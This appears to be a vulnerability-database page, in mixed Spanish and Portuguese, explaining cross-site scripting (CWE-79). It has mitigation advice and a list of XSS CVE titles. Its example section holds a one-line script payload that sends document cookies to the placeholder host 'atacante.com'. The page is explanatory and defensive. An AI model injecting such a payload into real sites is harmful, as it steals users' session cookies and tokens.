Fallos del tipo CWE-79

30.188 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-2946CRITICALCross-Site Vulnerability(XSS) due to arbitrary HTML/JavaScript gets executed while query result rendering in Query Tool and View/Edit Data Tool of pgAdmin 4EPSS 0.3%CVE-2024-4378MEDIUMPremium Addons for Elementor <= 4.10.31 - Authenticated (Contributor+) Stored Cross-Site Scripting via Menu and Shape DividerEPSS 0.3%CVE-2025-5542MEDIUMTOTOLINK X2000R Virtual Server Page formPortFw cross site scriptingEPSS 0.3%CVE-2025-53626MEDIUMpdfme has Sandbox Escape and Prototype Pollution vulnerabilities in pdfme expression evaluationEPSS 0.3%CVE-2025-11224HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.3%CVE-2024-38038MEDIUMBUG-000165732 - Reflected XSS in Portal for ArcGISEPSS 0.3%CVE-2026-2947MEDIUMrymcu forest User Profile UserInfoController.java updateUserInfo cross site scriptingEPSS 0.3%CVE-2024-6864MEDIUMWP Last Modified Info <= 1.9.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via lmt-post-modified-info ShortcodeEPSS 0.3%CVE-2025-45015MEDIUMA Cross-Site Scripting (XSS) vulnerability was discovered in the foreigner-bwdates-reports-details.php file of PHPGurukul Park Ticketing ManEPSS 0.3%CVE-2024-38501MEDIUMPepperl+Fuchs: Device Master ICDM-RX/* XSS vulnerability allows HTML injectionEPSS 0.3%CVE-2022-4975HIGHRhacs: cross-site scripting in portalEPSS 0.3%CVE-2025-8604MEDIUMWP Table Builder – WordPress Table Plugin <= 2.0.12 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-5663MEDIUMCards for Beaver Builder <= 1.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Cards WidgetEPSS 0.3%CVE-2024-8282MEDIUMIbtana – WordPress Website Builder <= 1.2.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via align AttributeEPSS 0.3%CVE-2024-6894MEDIUMRD Station <= 5.3.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-4700MEDIUMWP Table Builder – WordPress Table Plugin <= 1.4.14 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-3801MEDIUMXSS in S@M CMSEPSS 0.3%CVE-2024-7778MEDIUMOrbit Fox by ThemeIsle <= 2.10.36 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-4478MEDIUMHappy Addons for Elementor <= 3.10.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Image Stack Group WidgetEPSS 0.3%CVE-2024-5073MEDIUMEssential Addons for Elementor <= 5.9.21 - Authenticated (Contributor+) Stored Cross-Site Scripting via Twitter FeedEPSS 0.3%